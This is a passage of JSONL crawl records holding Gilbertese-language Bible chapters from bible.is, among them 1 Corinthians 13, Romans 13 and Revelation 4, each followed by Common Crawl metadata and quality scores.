1.0000100135803223}","num_words":957,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.474,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I kaota nakoimi te aro ae moan te raoiroi riki: ngkana iai irouu te konaa n taetae n taetaen aaba nako ma aia taetae anera, ma ngkana akea te tangira irou, ao I riki n ai aron te bwai ni katangitang ae te buraati ae e karongoaa tangina, ma te bwai ni katangitang ae te timbara ae e karongoaa naba tangina. 2Ao ngkana iai irouu te konaa n taetae ni buraabeti, ma te konaa n atai baika a raba ni kabane, ma te atatai ni kabanea; ao ngkana e bane n reke irouu aron te onimaki are I konaa ni kamwae nako maunga iai, ma ngkana akea te tangira irou, ao bon akea boonganau. 3Ao ngkana I anga nako au bwai ni kabane, ao I anga rabwatau bwa e na kabuokaki, ma akea te tangira irou, ao bon akea te bae e raka ae N na karekea iai. 4E taotaona nanona te tangira ao e atataiaomata; e aki babakantang te tangira; e aki tataetae ni karakaraka te tangira, ao e aki kainikatonga; 5e bwaina te aroaro ae e riai; e aki ukoukori baika e na kabwaia iai n ti ngaia; e aki kakaiun, ao e aki tautau mwiini buure ake a karaoi aomata. 6E aki kimwaareirei n te buaakaka, ma e kimwaareirei n te koaua. 7E kaaitarai bwaai ni kabane ma te taotaonaki n nano; e teimatoa n onimaki; e teimatoa ni kaantaninga, ao e teimatoa n taotaona nanona nakoni bwaai ni kabane. 8E aki konaa ni mauna te tangira; ao ngkana iai taetae ni buraabeti, ao a na kamaunaaki; ao ngkana iai taetae aika a aki ataaki nanoia, ao a na bon toki; ao ngkana iai te atatai, ao e na kamaunaaki naba. 9Bwa a aki koro raoi aron ara atatai, ao e aki koro raoi naba aron ara taetae ni buraabeti; 10ma ngkana e roko are te kororaoi, ao e na kamaunaaki are e aki koro raoi. 11Ngke te teei ngai, ao I taetae n ai aron te teei, ao I iango n ai aron te teei, ao I babaaire n ai aron te teei; ngkai I a ikawai, ao I kaaki aaro n ataei. 12Bwa ae ti nooria ngkai ai aron tein taraana ae e aki turuturu raoi i nanon te tirotaam; ma ane ti na bon nooria raoi n te aro n itaramata. E aki koro raoi aron au atatai ngkai, ma ane e na boni koro raoi arona rimwi, n ai arou ngkai I bon ataaki raoi. 13Ma ngkai a tiku n teimatoa baika teniua aikai, ae te onimaki, ma te kaantaninga, ma te tangira, ma e kakannato riki te tangira i buakoia.\n1 KORINTO 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/13","date":"2013-12-11T11:36:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164035309\/warc\/CC-MAIN-20131204133355-00061-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":439,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.238,"stopwords_ratio":0.485,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Te baere iai ma ngke a tuai ni karikaki bwaai, are ti ongo, are ti nooria ni matara, are ti tarataraia, are a riingnga naba baira, ae 484 taekan te Taeka are te maiu, 2aote maiu arei e a tia ni kaotaki, ao ti a tia n nooria, ao ti kaotioti ibukina; ao ti taekina nakoimi taekan te maiu are e aki toki, are e mena iroun te Tama, ao are e kaotaki nako ira; 3are ti a tia n nooria ma n ongo, ao ti taekinna naba nakoimi; bwa kam aonga n uaia ni buokanibwai iai ma ngaira, n ai aron are ti buokanibwai iai ngaira ma te Tama ao Natina are Iesu Kristo. 4Ao ti koroi baikai bwa a aonga ni kororaoi ara kimwaareirei. 5Ao aio te taeka are ti ongo mai irouna, ae ti taekinna nakoimi: bwa te Atua bon te oota, ao bon akea te roo teutana i nanona. 6Ngkana ti taku bwa ti i raorao ma Ngaia, ao ngkana ti bon nakonako n te roo, ao ti kewe iai, ao ti aki karaoa ae e koaua; 7ma ngkana ti nakonako n te oota n ai arona ngkae E mena n te oota, ao ti i raorao iroura, ao e kaitiakira raraan Iesu are Natina man te buaakaka ni kabane. 8Ngkana ti taku bwa akea ara bure, ao ti burebureira, ao e aki mena te koaua i nanora. 9Ngkana ti kaoti ara bure, ao E kakaonimaki bwa E na boni kabwarai ara bure ma ni kaitiakira man te buaakaka ni kabanea ngkai E atataiaomata. 10Ngkana ti taku bwa ti tuai ni bure, ao ti arana te Atua bwa te tia kewe, ao e aki mena i nanora ana taeka.\n1 IOANE Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1John\/","date":"2013-12-07T13:24:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054457\/warc\/CC-MAIN-20131204131734-00058-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":284,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.507,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ke a ongeaaba aomata ni kabaneia irouia ake a tau-taeka i aoia: bwa ti te Atua ae e angan te aomata te mwaaka n tau-taeka, ao Ngaia naba ae E kateiia aika a tau-taeka ngkai n nakoaia. 2Ma ngaia aei, bwa te aomata ane e rawa nakon te tau-taeka, ao e rawa naba nakon are E a tia ni baaireia te Atua; ane e karaoa aei ao e na motikaki taekana. 3Bwa a aki riai ni maakaki taan tau-taeka irouia aomata aika a kaakaraoa ae e raoiroi, ma a riai ni maakaki irouia aika a kaakaraoa ae e buaakaka. Ko kan aki maaka te tia tau-taeka? Karaoa ae raoiroi, ao ane ko na kamoamoaaki iai irouna: 4bwa ana aomata te Atua ngaia ao tabena bon te buokiko nakon ae e raoiroi. Ma ngkana ko karaoa ae e buaakaka ao ko bon riai ni maaku, ibukina bwa bon iai mwaakana ni kareke kai: bwa ana aomata te Atua ngaia ae te tia irantaanga ae e karaoa nanon te Atua ni karekea kain ane e karaoa ae e buaakaka. 5Ma ngaia ae e riai bwa kam na bwaina te aan-taeka, tiaki ti ibukin ana moti te Atua are e na rawaawata mwiina nakoimi, ma ibukina naba bwa kam bon ataia bwa te bwai ae bon riai karaoana. 6Ao bon aei naba bukin ae kam riai naba iai ni kabwakai ami taekiti: bwa a mwakuri ibukin te Atua taan tau-taeka n aia mwakuri are a kakaonimaki nako iai. 7Anga bwaai ni kabane akana kam bae iai: te taekiti nakoia taan anai taekiti, te tiute nakoia taan anai tiute, te maaku nakoia akana riai ni maakaki, ao te karinerine nakoia akana riai ni karineaki. 8Tai taarau iroun te aomata n te bwai teuana, bwa ti n te i-tangitangiri: bwa ane e tangira raona n aomata, ao e na karaoa nanon te Tua ni kabanea. 9Bwa aikai tuua: Te Otinako 20.13-15, Te Tua-Kaua 5.17-19 ao 21 Ko na tai wene ni bure; Ko na tai kamateia aomata; Ko na tai ira; Ko na tai mataai; ao ngkana tao iai riki, ao a bane i nanon te tua ae e kaangai: Ko na tangira raom n ai aron tangiram i bon iroum. 10Ane e tangira raona n aomata ao e aki konaa ni karaoa ae e buaakaka nakoina. Ma ngaia ae bwainan te tangira boni kakoroan nanon te Tua ni kabane. 11Kam bon riai ni karaoa aei, ngkai kam atai kanoani boong aika ti mena iai ngkai. E a bo ami tai ngkai n uti mani m atuum i; bwa e a uakaan riki ngkai te bong are ti na kamaiuaki iai nakon taina ngkoa ngke ti moa n onimakina iai te Uea. 12E a kaani bane te bong, ao e a kaan te ngaina. Ma ngaia ae ti na katikui mwakuri nako aika bwain te roo, ao ti na anai bwaai ni buaka aika bwain te oota. 13Ti na bwaina te aro ae e riai ni maiura n ai aroia aomata aika a maeka n ootan te ngaina; ti na aki bwaina te maiu are iai i nanona te momooi manging, ma te wene ni bure, ma aaro ni kammaira nako, ma te unun, ma te bakantang. 14Ma kam na anai ana bwai ni buaka nako te Uea are Iesu Kristo, ao tai karekei aia tai rabwatami aika a buubure bwa a na iri nanoia ni kaibwabwaru.\nROM 13","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/13","date":"2013-12-09T13:47:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163976781\/warc\/CC-MAIN-20131204133256-00024-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":560,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.441,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai irouni Bwauro, ae I weteaki iroun te Atua bwa ana tia tuatua Iesu Kristo, ao mai iroun naba Totene ae e raora n onimaki, 2nakon ana ekaretia te Atua are i Korinto, ake aomata ni kabaneia ake a kaitiakaki i nanoni Kristo Iesu, ake a rineaki bwa ana aomata te Atua, ma aomata ni kabaneia n taabo nako ake a taromauriia ara Uea are Iesu Kristo, are aia Uea ma ngaira; 3ami bwai te aakoaki, ma te raoi mai iroun te Atua are Tamara, ao mai iroun te Uea are Iesu Kristo. 4I aki toki ni kaaitaua Atuau i bukimi, ibukin ana aakoi are kam a tia n anganaki ni maiumi n reitaki ma Kristo Iesu: 5bwa kam a tia n rangi ni buokaki irouna n te aro n taetae ma te ataibwai ni kabanea; 6n ai aron naba are e a tia n unikaki raoi taekan Iesu i buakomi. 7Ma ngaia are akea te bwai n tituaraoi teuana ae akea iroumi, ngkai kam tiku ni kaantaninga kaotan ara Uea are Iesu Kristo. 8Boni Ngaia are e na kateimatoaingkami naba ni karokoa te toki, bwa kam aonga n aki kabuaakakaaki n ana bong ara Uea are Iesu Kristo. 9E bon riai n onimakinaki te Atua, are Ngaia ae E weteingkami bwa kam na i raorao ma Natina are Iesu Kristo are ara Uea. 10I bubutingkami, taari, n aran ara Uea are Iesu Kristo, bwa kam na kabooraoi nanomi. A na akea te i kaakaiwi i marenami, ma kam na reitaki n te nano ae ti te arona, ao n te kaantaninga ae ti te arona. 11Bwa I kaongoaki taekami, tariu, irouia ana aomata Koroe, bwa iai taiani kauntaeka i buakomi. 12Ae I nanonna n au taeka aei bon aei: bwa kam kaangai n tatabemaningkami nako, Raoni Bwauro ngai; ke, Raon Aboro ngai; ke, Raoni Keebwa ngai; ke, Raoni Kristo ngai. 13E tibwauaaki Kristo? E kamateaki n te kaibangaki Bwauro i bukimi? Kam bwaabetitooaki nako nanon arani Bwauro? 14I kaaitaua te Atua ngkai akea ae I bwabetitoia i buakomi bwa ti Karitebo ma Kaio; 15I karaoa aei bwa e kaawa n taku temanna bwa kam bwaabetitooaki nako nanon arau. 16I bwabetitoia naba kaain ana auti Tetebana; ao I a aki uringnga bwa iai riki ae I bwabetitoia ke akea. 17Bwa 330,1 I-KORINTO 1 e aki kanakoai Kristo bwa N na bwabwaabetiito, ma E kanakoai bwa N na tataekina te euangkerio—tiaki n te aro n rabakau n taetaenikawai, bwa e kaawa n riki ana kaibangaki Kristo bwa te bwai ae akea manenana. 18Bwa te nanobaba taekan te kaibangaki irouia akana nangi mate, ma boni mwaakan te Atua iroura ngaira aika ti kamaiuaki. 19Bwa e koreaki ae e kaangai: N na kamauna rabakauia akana rabakau, ao N na kaaki wanawanaia akana wanawana. 20E ngaa ane e rabakau? E ngaa te bwakuaku n taekan te Tua? E ngaa te tia rabakau ni kauntaeka i aon te aonnaba aei? Tiaki E a tia te Atua ni karaoa te nanobaba bwa rabakaun aonnaba? 21Bwa te Atua, n rabakauna, ao E a tia ni karaoa ae a na aki konaa n ataia aomata n oin rabakauia. Ma e ngae n aei, ao E a bon tia ni baaireia bwa E na kamaiuiia aika a onimaki n te rongorongo n nanobaba ae ti tataekinna. 22Bwa a tangiri kanikina aika a kamiimii I-Iutaia bwa a na noori, ao I-Erene a ukoukora te rabakau; 23ao ngaira ti tataekina Kristo are e kamateaki n te kaibangaki, ae te bwai ni kabwakabwaka nakoia I-Iutaia, ao te nanobaba nakoia aika tiaki I-Iutaia; 24ma, nakoia aika a rineaki iroun te Atua, aika I-Iutaia ma I-Erene, boni mwaakan te Atua ao rabakauna naba. 25Bwa e rabakau riki nanobaban te Atua nakon rabakauia aomata; ao e korakora riki mamaaran te Atua nakoni korakoraia aomata. 26Taari, kam na uringi aromi ngke kam moani weteaki iroun te Atua; bwa kam aki iangoaki irouia aomata n te aonnaba aei bwa a bati ami koraki aika a rabakau. Ti temwaangina i buakomi aika iai nakoaia aika kakannato, ao temwaangina naba aika a nako man utu aika iai karineaia ni katein te aba. 27Ma te Atua E rinei baika a atongaki n te aonnaba aei bwa a baba, bwa E na kamamaaia aomata aika a rabakau; ao E rinei bwain aon te aba aika a mamaara bwa E na kamamaai baika a korakora. 28E rinei bwain aon te aba te Atua aika a atongaki bwa a mangori ma n akea boonganaia, ma baika tiaki oi ni bwai, bwa E na kamaunai baika a atongaki bwa oi ni bwai. 29Nanona ngkanne bwa akea te aomata ae e konaa ni kamoamoa i matan te Atua. 30Ma E a tia te Atua n reitiingkami ma Kristo Iesu, ao E a tia naba ni karika Iesu bwa rabakaura. A reke reitaki ma te Atua irouna; ti a riki bwa ana aomata te Atua ngaira, ao ti a kainaomataaki irouna; 31n ai aron are e koreaki ni kaangai: Ane e kamoamoa, ao ke e kamoamoa iroun te Uea.\n1 KORINTO 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/1","date":"2013-12-09T06:22:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163922753\/warc\/CC-MAIN-20131204133202-00070-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":832,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ti na noori ngkai taekani baike kam koroi nakoiu: E raoiroi bwa e na aki wene n taanga te mwaane ma te aine. 2Ma ibukina ngkai e bati te wene ni bure, ao a na bane mwaane ni karekeia buia, ao a na bane naba aine ni karekeia buia. 3E riai te mwaane n angani buuna te baere e riai bwa e na anganaki n te aro n taanga, ao ai aron naba te aine nakoni buuna. 4Bwa e aki tau-taeka te aine i aon rabwatana, ma e tau-taeka buuna; ao ai aron naba te mwaane: bwa e aki tau-taeka i aon rabwatana, ma e tau-taeka buuna. 5Akea ae e na rawa iroumi ni wene n taanga, ma ti ngkana kam a tia ni booraraoi bwa kam na aki karaoia moa i nanon taina are kam baaireia, bwa kam aonga ni kaboonganaa ami tai anne n taatataro iai; ma i mwiin anne ao kam bon riai ni manga okiri aromi n reitaki bwa taanga ngkami, bwa kam kaawa ni kariiriiaki iroun Tatan ngkai kam babanga n taotaon nanomi. 6Aei bon ti au taeka ni kariaia te aro aei, ma tiaki te tua. 7Ai bia arou aomata ni kabaneia! Ma a bane aomata nako n toa ma te bwai n tituaraoi mai iroun te Atua: e anganaki temanna te aeka teuana, ao temanna te aeka teuana. 8Ao ngkanne au taeka nakoia aika a tuai ni mareaki ao nakoia aine aika a mate buia: bwa e raoiroi irouia ngkana a tiku n akea buia, n ai arou. 9Ma ngkana a babanga n taotaon nanoia, ao a na mareaki; bwa e raoiroi riki ae a mareaki nakon ae a tiku ma nanoia ae e kiriwe ibukin tangiran te mwaane ke te aine. 10Ma nakoia ake a a tia ni mareaki, ao aio au taeka—tiaki au taeka bwa ana taeka te Uea—bwa e na tai raure ma buuna te aine; 11ma ngkana e karaoa anne, ao e riai n tiku n akea buuna, ke e na oki nakoni buuna: ao te mwaane e na aki kanakoa buuna. 12Aio ngkanne au taeka nakoia temwaangina i buakomi—ma tiaki ana taeka te Uea—bwa ngkana iai i buakomi raomi n onimaki ae buuna te aine ae tiaki te tia onimaki ae e kariaia bwa e na tekateka ma teuanne, ao ke e tai kiitana neienne; 13ao te aine ae buuna te mwaane ae tiaki te tia onimaki ae e kariaia bwa e na tekateka ma neienne, ao ke e tai kiitana teuanne. 14I taekina aei ibukina bwa te mwaane ae e aki onimaki e a warekaki bwa temanna ngaia i buakoia ana aomata te Atua ibukin arona ni katiteuanaaki ma buuna; ao te aine ae e aki onimaki e a riki bwa temanna ngaia i buakoia ana aomata te Atua ibukini buuna ngkae e onimaki. Bwa ngkana tiaki arona aei, ao natiia a na katootoong aroia ataei aika natiia beekan; ma ngkana arona aei, ao a butimwaaeaki natiia iroun te Atua. 15Ma ngkana bon nanon te aomata ae e aki onimaki bwa e na kiitana buuna are e onimaki, ao ke e karaoia; ngkana e reke aei, ao akea te bae e na kabaeaki iai n te maiu n taanga te mwaane ke te aine are te buu are e onimaki. Bwa E a tia te Atua ni weteira nakon te maiu n raoi. 16Ko aki ataia ngkoe ae te ainenumwa ae ko onimaki, bwa ngaia e na kamaiuaki buum iroum? Ao ngkoe ae te mwaanenumwa ae ko onimaki, ko aki ataia bwa ngaia e na kamaiuaki buum iroum? 17Ma ae e kakaawaki bwa a na kaotiia aomata nako ni maiuia bwa iai katauaia are a anganaki mai iroun te Uea ngke a weteaki iroun te Atua. Ao bon aei naba au taeka are I tuangiia ekaretia ni kabaneia. 18E a tia ni koroberoaki temanna ngke e weteaki? Ke e tai kamauna mwiini koreana. E tuai ni koroberoaki temanna ngke e weteaki? Ke e kaaki taekan te koroberoaki. 19Akea manen te koroberoaki, ao akea naba manen te aki-koroberoaki; ma bon iai maneni kaawakinan ana tua te Atua. 20Ke e tiku n arona te aomata are e mena iai ngke e weteaki. 21Ko weteaki ngke te toro ngkoe? Tai tabe ma arom n toro; ma ngkana iai te anga ae ko na konaa iai ni kainaomatako, ao kaboonganaa. 22Bwa te toro ae e weteaki iroun te Uea, bon ana aomata te Uea, ae e kainaomataaki; ao ai aron naba te aomata ae e inaomata, ae e weteaki, bwa bon ana toro te Uea. 23Kam kabooaki ao e a tia ni bwaka boomi; kam na tai riki bwa aia toro aomata. 24Taari, kam na maiu n reitaki ma te Atua n aromi are kam mena iai ngke kam weteaki. 25I bukiia ngkanne ateiaine: akea ana taeka te Uea irouu i bukiia, ma N na kaota au iango n ai aron temanna ae e nanoangaaki iroun te Uea, ao e onimakinaki. 26Ngkai a kaangaanga boong aikai ao I taku bwa e raoiroi riki iroun te aomata bwa e na tiku n arona ae e mena iai. 27Ko a tia ni mare? Ko na tiku n arom anne. Ko tuai ni mare? Tai iangoa ae ko na mare. 28Ma ngkana ko mare, ao ko aki bure iai; ao ngkana e mare te aine ae te ateiaine, ao e aki bure naba iai. Ma e na reke irouia aika a tia ni mare rawaawatan te maiu aei, are I aki tangiria bwa e na reke irouia. 29Ae I nanonna, taari, bwa e a rikirake ni kimototo ngkai te tai, ma ngaia ae a riai mwaanenuma, ni moa ma ngkai, ni maiu n ai aron ae aongkoa akea buia; 30ao te koraki ake a kaatuumaua te tang bwa aongkoa a aki, ao ake a kimwaareirei bwa aongkoa a aki kimwaareirei, ao ake a boobwai bwa aongkoa a aki bwaini baike a kabooi; 31ao ake a tabe ma bwain te aonnaba aei, bwa aongkoa a aki kabanebuakai aia tai iai. Bwa te aonnaba aei, n arona ae ngkai, e na aki maan ao e na mauna. 32Ma I tangiringkami bwa kam na aki iango n raraoma. Te mwaane ae e aki mareaki e iangoa aron te Uea, bwa e na iranna ni kakukureia; 33ao te mwaane ae e mareaki e iangoi bwain te aonnaba aei, ibukina bwa e kani kakukureia buuna; 34ma ngaia ae e bwenaua nanona. Ao te aine ae e aki mareaki, ke te ateiaine, e iangoa ana mwakuri te Uea, ibukina bwa e kan anga rabwatana ma taamneina ibukin te Atua. Ma te aine ae e mareaki e iangoi bwain te aonnaba aei ibukina bwa e kani kakukureia buuna. 35I atonga aei bwa e manena i bukimi; ma tiaki nanona bwa I kani karaoi aaro n tuutuuki nakoimi, ngkai I tangiringkami bwa kam na karaoa ae e eti ma n riai, ao kam na toro iroun te Uea n aki tabeaianga. 36Ma ngkana e taku temanna i nanona bwa e aki konaa n taona nanona ibukin nanona ae e korakora ni kani bootaki ma ana kabae, ao e a taku bwa a bon riai ni mareaki, ao ke e karaoa ane e tangiria; e aki bure iai; ke a mareaki. 37Ma ngkana e a bon tia i nanon te aomata, n aki kairoroaki, bwa e na aki mareaki, ao ngkana e a tia ni konaa n taotaona nanona, ao e a tia naba ni motikia i nanona bwa tera are e na karaoia, ao e aki bure ngkana e aki mareaki ma ana kabae. 38Ma ngaia aei, bwa ane e mare ma ana kabae, ao e karaoa ae e raoiroi; ma ane e aki mare ma ana kabae, ao e karaoa ae e raoiroi riki. 39Akea inaomatan te ainenumwa ngkae e maiu buuna; ma ngkana e mate buuna, ao e a inaomata ngkanne ni manga mareaki ma te mwaane are e tangiria, ae te Kristian. 40Ma I taku bwa e a kabwaia riki ngkana e aki manga mare; ao I taku naba bwa I kairaki n au iango aikai iroun Taamnein te Atua.\n1 KORINTO 7","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/7","date":"2013-12-11T21:03:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164047228\/warc\/CC-MAIN-20131204133407-00076-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1342,"character_repetition_ratio":0.052,"word_repetition_ratio":0.017,"special_characters_ratio":0.241,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I mwiin noorani baikai ao I taratara nako, ao nooria, te mataroa ae e uki i karawa, ma te bwanaa are I ongo rimoa, are kaanga ai aroni bwanaan te buu are e taetae ma ngai, ae e kaangai, Mai rierake, ao N na kaoti nakoim baika a na bon riki i mwiini baikai. 2Boni ngkekei naba ao I a mena naba i aani mwaakan ana kairiiri te Taamnei; ao nooria, e mena te kaintokanuea i karawa ma temanna ae tekateka i aona. 3Ao Teuare e tekateka iai e kiakia nako mai irouna te raneanea ae ai aron raneaneani matan atiibu aika a kakaawaki are te iatebi ma te tarerio; ao e katoobibia te kaintokanuea arei Nei Wiraraa, ae ai aroni matan te atiibu ae te timaraketo taraana. 4Ao e katoobibiaki te kaintokanuea arei ni kaintokanuea aika uabwi ma aua; ao I nooriia unimwaane aika uangauni ma aman bwa a tekateka i aoni kaintokanuea ake uabwi ma aua ao a kunnikainiia ni kunnikai aika a mainaina, ma baunuea aika koora i aon atuuiia. 5Ao man te kaintokanuea a nako iiti ma bwanaa ma rebwerebwen te ba; ao i nanoaan te kaintokanuea a mena iai itiai kaai aika a teke i taboia n tatabeua nako baika a ura n te ai: bon taamnei ake itiman ake mai iroun te Atua. 6Ao i nanoaan naba te kaintokanuea e mena naba iai te bwai ae kaanga ai aron taraani marawa ae te kiraati ae ai aron taraan te atiibu are te kurititaro; ao i rarikin te kaintokanuea ni katoobibia a mena iai baika a maiu aika aman aika a buta rabwataia ni maata mai moaia ao mai akuia. 7Ao temanna ni baike a maiu ai aron te raian, ao te kauoman ai aron te kaomwaane; ao te kateniman iai ubuna ae kaanga ubun te aomata; ao te kaaman ai aron te ikare ae e kibakiba. 8Ao baike a maiu ake aman, kaka oneai baiia ni kibakiba, ao a buta aon rabwataia ni katoobibiaki ma aani baiia ni maata; ao a aki toki n anene ni ngaina ao ni bong, ni kaangai: E tabu, E tabu, E tabu te Uea ae te Atua ae Moan te Mwaaka ae bon iai ngkoa, ao iai ngkai, ao iai n rimwi n aki toki. 9Ao ngkana a anene baike a maiu n neboa ma ni karinea ma ni katituaraoa Teuare e tekateka i aon te kaintokanuea, are Teuare e maiu n aki tootoki, 10ao unimwaane ake angauni ma aman a katorobubua ni bobaraaki i matan Teuare e tekateka i aon te kaintokanuea, ma n taromauriia Teuare e maiu n aki tootoki, ma ni kaaki aia baunuea i nanoaan te kaintokanuea, ao a kaangai, 11Ara Uea ao Atuara, Ko bon riai n anganaki te neboaki ma te karineaki ma te mwaaka, bwa Ko kariki bwaai ni kabane, ao a riki ibukin nanom, ao a karikaki iai.\nTE KAOTIOTI 4","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/4","date":"2013-12-10T17:42:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164022411\/warc\/CC-MAIN-20131204133342-00013-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":480,"character_repetition_ratio":0.09,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"EBERA 3:1313Ma kam na i kauungaingkami n te bong ae koraki, ngkae e atongaki bwa Te bong aei; bwa e kaawa temanna i buakomi ni mwaamwanaa ki n te bure ao e riki ni matoatoa iai nanona. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/3\/13","date":"2013-12-13T21:13:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164992771\/warc\/CC-MAIN-20131204134952-00015-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000073909759521}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.365,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai irouni Bwauro, ae ana tia tuatua Kristo Iesu n nanon te Atua, ao mai iroun Timoteo ae tarira, nakon ana ekaretia te Atua i Korinto, ao nakoia ake a itiaki ni kabaneia ake a mena i Akaia ni kabutaa: 2Ami bwai te aakoaki ma te raoi mai iroun te Atua are Tamara ma ara Uea are Iesu Kristo. 3E na karaoiroaki te Atua, ae Taman ara Uea are Iesu Kristo, ao Taman te nanoanga ni kabane, ao Atuan aaro ni karau-nano ni kabane, 4are E anganiira karauan nanora n rawaawatara ni kabane, bwa ti aonga ni karau nanoia akana a taonaki n rawaawata nako, n te aro ni karau-nano are e a tia ni karauaki nanora iai iroun te Atua. 5Bwa ngkai a bati kammarakara aika kammarakani Kristo, ao ai arona naba bwa a bati karauan nanora irouni Kristo. 6Ngkanati karawaawataaki, ao bon ibukini karauan nanomi ao kamaiuami; ao ngkana a karauaki nanora ao bon ibukin naba karauan nanomi are kam konaa iai n taotaon nanomi nakoni maraki ake ti maraki naba iai. 7E teimatoa ara kaantaninga i bukimi; bwa ti ataingkami bwa ngkai raora ni kammarakaki ngkami, ao bon raora naba ngkami ni karauaki nanora. 8Bwa ti aki tangiringkami, taari, bwa kam na aki ataa rawaawatara are e roko iroura i Atia: bwa ti bati n taonaki iai i aon are ti kona, ao akea ara kaantaninga bwa ti na maiu maiai; 9ti aki nanokokoraki bwa ti taku bwa ti nangi boni mate. Ma e riki aei bwa ti aonga n aki onimakinira, ma ti na onimakina te Atua are a manga maiu maate irouna; 10are ti kamaiuaki irouna man te mate are moan te kakamaaku, ao E na boni manga kamaiuira naba maiai; ti a tia ni kawenea ara kaantaninga irouna bwa E na boni manga kamaiuira naba, 11ngkai kam buokira n tataro i bukira, bwa a aonga n tataro ni katituaraoi i bukira aomata aika a bati ibukin te kabwaia are ti anganaki bwa kaekaan taian tataro aika a bati. 12Bwa aio kamoamoaara, ao ana kaotioti mataniwiin nanora: bwa n arora ni maiu n te aonnaba aei, ao ai moa ra riki n arora nakoimi, ao ti a tia ni bwaina te maiu ae e tabu ae e itiaki are mai iroun te Atua, tiaki n te rabakau n aon te aba, ma n ana aakoi te Atua. 13Bwa akea riki baika ti koroi taekaia nakoimi, bwa ti baike kam wareki ao kam atai nanoia; ao bon au kaantaninga bwa kam na bon atai raoi, 14n ai aron naba are kam a tia n ataia teutana mai iroura. Ao ngkana E roko ara Uea are Iesu, ao kam na kamoamoaingkami i bukira ao ngaira i bukimi. 15I aki nanokokoraki teutana n aei, ma ngaia are I kataua n te moa n tai bwa N na kawaringkami bwa kam aonga ni manga aakoaki kaua: 16bwa I kani kawaringkami i aoni kawaiu nako Mwaketonia, ao ni kawaringkami naba ngkana I oki maiai, bwa kam aonga ni bakaborauai nako Iutaia. 17I nano tiotio iai ngke I karaoa au iango aei? Ke I karaoi au iango ma te nano n aomata are e tauraoi n atonga ae e kaangai, Eng, eng, ao Tiaki, tiaki, n te tai ae ti teuana? 18Ma ngkae E kakaonimaki te Atua, ao ara taeka nakoimi bon tiaki Eng ao Tiaki, n te tai ae ti teuana. 19Bwa Natin te Atua, are Iesu Kristo, are e tataekinaki nakoimi iroura irou ma Tirouano ma Timoteo, E aki nano tiotio i marenan te Eng ao te Tiaki, ma bon ti te Eng irouna. 20Bwa boni Ngaia te Eng nakon 